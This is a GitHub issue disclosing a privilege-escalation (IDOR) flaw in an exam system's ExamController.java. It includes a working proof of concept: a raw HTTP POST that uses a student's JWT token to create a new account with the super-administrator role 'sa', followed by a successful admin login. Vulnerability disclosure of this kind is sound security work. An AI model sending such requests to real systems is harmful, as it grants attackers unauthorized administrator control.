Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[vulnerability] IDOR vertical overreach Vulnerability in ExamController.java #3

Open
x0blank opened this issue Nov 20, 2024 · 0 comments

Comments

@x0blank
Copy link

x0blank commented Nov 20, 2024

IDOR vertical overreach Vulnerability in ExamController.java
1.Log in with student privileges,Get low-privilege user cookies
3
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzIxOTYzMDAsInVzZXJuYW1lIjoidGVzdCJ9.ncdRy80InTK5kEbchFSKwHVXz5SnxjpoKlAyxGmtZ4Y
2.Vulnerability interface
Adding an Administrator Account

4

`POST /exam/api/sys/user/save HTTP/1.1
Host: 192.168.4.221:8101
Content-Length: 96
Accept: application/json, text/plain, /
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzIxOTYzMDAsInVzZXJuYW1lIjoidGVzdCJ9.ncdRy80InTK5kEbchFSKwHVXz5SnxjpoKlAyxGmtZ4Y
Content-Type: application/json
Origin: http://192.168.4.221:8101
Referer: http://192.168.4.221:8101/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"userName":"test1234","realName":"test1234","password":"test1234","departId":"","roles":["sa"]}`

Test Login
5
Login successful Super Administrator

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant